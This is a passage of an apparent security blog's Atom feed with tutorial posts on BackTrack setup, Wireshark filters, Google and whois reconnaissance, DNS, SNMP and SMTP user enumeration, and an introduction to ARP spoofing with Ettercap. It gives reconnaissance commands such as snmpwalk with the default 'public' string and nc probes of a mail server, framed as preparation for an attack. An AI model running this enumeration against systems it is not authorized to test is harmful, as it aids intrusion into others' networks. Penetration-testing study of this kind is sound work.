style=&quot;color: #33cc00;&quot;&gt;netstat -ant | grep 5901&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Check what network interfaces you have&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;#dmesg | grep -i eth &lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/7403821550847322649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/backtrack-basic-config.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/7403821550847322649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/7403821550847322649'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/backtrack-basic-config.html' title='Backtrack Basic Config'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-3377131834465359244</id><published>2010-02-07T22:39:00.000-08:00</published><updated>2010-03-18T02:49:37.085-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Wireshark"/><title type='text'>Wireshark Display Filters</title><content type='html'>Display Filters&lt;br /&gt;Wireshark uses display filters for general packet filtering while viewing and for its coloring rules.&lt;br /&gt;&lt;br /&gt;show only SMTP (25) and ICMP traffic&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;tcp.port eq 25 or icmp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;show only traffic in the LAN 192.168.x.x between workstations and servers, no internet&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;TCP buffer full - source is instructing destination to stop sending data&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;tcp.window_size == 0 &amp;amp;&amp;amp; tcp.flags.reset != 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sasser worm: what sasser really did&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;ls_ads.opnum==0x09&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/3377131834465359244/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/wireshark-display-filters.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/3377131834465359244'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/3377131834465359244'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/wireshark-display-filters.html' title='Wireshark Display Filters'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-5367502701922295342</id><published>2010-02-07T22:37:00.000-08:00</published><updated>2010-03-18T02:49:37.000-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Information Gathering"/><title type='text'>Information Gathering Techniques</title><content type='html'>Information gathering is one of the most important stages of the attack. This is where we gather basic information about our target in order to be able to launch our attack later on.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00; font-weight: bold;&quot;&gt;Google hacking&lt;/span&gt;&lt;br /&gt;Searching within a domain&lt;br /&gt;The site: operator restricts the results to website in a given domain.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;site: microsoft.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lets try the file operator&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;filetype:pdf site:microsoft.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: white; font-weight: bold;&quot;&gt;Whois reconnaissance&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Who is a name for a TCP service, a tool and a database. Whois databases contain nameservers, registrar, and in some cases full contact information about the domain name.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;whois checkpoint.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Whois can also peform reverse lookups, rather than inputting a domain name we can input an IP address. The who is result usually include the whole network range which belongs to the organization/</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/5367502701922295342/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/information-gathering-techniques.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/5367502701922295342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/5367502701922295342'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/information-gathering-techniques.html' title='Information Gathering Techniques'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-4395820274546924062</id><published>2010-02-07T20:35:00.000-08:00</published><updated>2010-03-18T02:49:37.038-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Information Gathering"/><title type='text'>Open Service Information Gathering</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #cccccc; font-family: &#39;Trebuchet MS&#39;, Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px;&quot;&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;Implementation of various service enumeration methods such as SNMP, SMTP, DNS etc.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;#nslookup&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;&amp;gt; www.checkpoint.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Identify mail servers belonging to an organization&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime; font-size: 100%;&quot;&gt;&amp;gt; set type=mx&lt;/span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime; font-size: 100%;&quot;&gt;&amp;gt; checkpoint.com&lt;/span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;&lt;br /&gt;&lt;br /&gt;identify all the dns servers authoritative for a domain&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime; font-size: 100%;&quot;&gt;&amp;gt; set type=ns&lt;/span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime; font-size: 100%;&quot;&gt;&amp;gt; checkpoint.com&lt;/span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Using backtrack tool&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime; font-size: 100%;&quot;&gt;#cd /pentest/enumeration/dnsenum/&lt;/span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: lime; font-size: 100%;&quot;&gt;./dnsenum.pl&lt;/span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style=&quot;color: white;&quot;&gt;SNMP reconnaissance&lt;/b&gt;&lt;br /&gt;SNMP is a management protocol and is often used to monitor and remotely configure servers and network devices.&lt;br /&gt;&lt;br /&gt;SNMP is based on UDP, a stateless protocol, and is therefore suspectible to IP spoofing. In addition SNMP has a weak authentication system - private (rw) and public (r) community strings. These community strings are passed unencrypted on the network and are often left in their default state &quot;private&quot; and &quot;public&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Let&#39;s examine some information from a Windows host running snmp by using the&lt;br /&gt;following command&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;snmpwalk -c public -v1 &lt;/span&gt;&lt;ip address=&quot;&quot; style=&quot;color: #33cc00;&quot;&gt;1&lt;/ip&gt;&lt;br /&gt;&lt;br /&gt;Let me demonstrate some interesting commands:&lt;br /&gt;snmpwalk -c public -v1 192.168.0.110 SNMPv2-MIB::sysDescr.0&lt;br /&gt;&lt;br /&gt;Enumerating windows users.&lt;br /&gt;snmpwalk -c public -v1 192.168.0.110 1.3 |grep 77.1.2.25 |cut -d&quot; &quot; -f4&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: white; font-weight: bold;&quot;&gt;Enumerating running services&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;snmpwalk -c public -v1 192.168.0.110 1 |grep hrSWRunName|cut -d&quot; &quot; -f4&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Enumerating open tcp ports&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;snmpwalk -c public -v1 192.168.0.110 1 |grep tcpConnState |cut -d&quot;.&quot; -f6 |sort -nu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enumerating installed softwares&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;snmpwalk -c public -v1 192.168.0.110 1 |grep hrSWInstalledName&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are lots of other interesting searches we can do. As usual, there are more&lt;br /&gt;specialized tools for this task – I personally like snmpenum.pl and snmpcheck.pl.&lt;br /&gt;You can find them in the /pentest/enumeration/snmpenum&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;./snmpcheck-1.3.pl -t 192.168.0.110&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style=&quot;color: white;&quot;&gt;SMTP reconnaissance&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Under certain misconfigurations, mail servers can also be used to gather information about a host / network. SMTP supports several interesting commands such as VRFY and EXPN.&lt;br /&gt;A VRFY request asks the server to verify an email address while EXPN asks the server for the membership of a mailing list. These can often be abused in order to verify existing users on a mail server, which can aid the attacker later.&lt;br /&gt;Let&#39;s look at an example:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #33cc00;&quot;&gt;nc -v 192.168.0.10 25&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/4395820274546924062/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/open-service-information-gathering.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/4395820274546924062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/4395820274546924062'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/open-service-information-gathering.html' title='Open Service Information Gathering'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4484124311161869051.post-1469355067683652416</id><published>2010-02-07T11:50:00.000-08:00</published><updated>2010-03-18T02:49:37.130-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ARP Spoofing"/><title type='text'>ARP Spoofing</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: rgb(204, 204, 204);font-family:&#39;Trebuchet MS&#39;,Trebuchet,Verdana,sans-serif;font-size:13px;&quot;  &gt;&lt;h3 class=&quot;post-title entry-title&quot; style=&quot;margin: 0.25em 0px 0px; padding: 0px 0px 4px; font-size: 18px; font-weight: normal; line-height: 1.4em; color: rgb(170, 221, 153);&quot;&gt;&lt;br /&gt;&lt;/h3&gt;&lt;div class=&quot;post-header-line-1&quot;&gt;&lt;/div&gt;&lt;div class=&quot;post-body entry-content&quot; style=&quot;margin: 0px 0px 0.75em; line-height: 1.6em;&quot;&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;ARP spoofing is a horrendous attack vector. It is very easy to implement and can have disastrous effects on a local network.&lt;br /&gt;The theory behind ARP spoofing is that since ARP replies are not verified or&lt;br /&gt;checked in any way, an attacker can send a spoofed ARP reply to a victim&lt;br /&gt;machine, thereby poisoning its ARP cache. Once we control the ARP cache, we&lt;br /&gt;can redirect traffic from that machine at will, in a switched environment.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ettercap&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;As usual, customized tools have been created for initiating ARP spoofing attacks.&lt;br /&gt;A nice tool to check out for Windows Platforms is Cain and Able, found on&lt;br /&gt;http://www.oxid.it/. This is a powerful tool capable of sniffing, ARP spoofing,&lt;br /&gt;DNS spoofing, password cracking and more.&lt;br /&gt;My favorite ARP spoofing tool is Ettercap. As described by it authors, Ettercap is&lt;br /&gt;a suite for man in the middle attacks (MITM) on the local LAN. It features&lt;br /&gt;sniffing of live connections, content filtering on the fly and many other&lt;br /&gt;interesting tricks. It supports active and passive dissection of many protocols&lt;br /&gt;(even ciphered ones) and includes many features for network and host analysis.&lt;br /&gt;Let&#39;s get Ettercap up and running.&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://mv-security.blogspot.com/feeds/1469355067683652416/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://mv-security.blogspot.com/2010/02/arp-spoofing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/1469355067683652416'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484124311161869051/posts/default/1469355067683652416'/><link rel='alternate' type='text/html' href='http://mv-security.blogspot.com/2010/02/arp-spoofing.html' title='ARP Spoofing'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>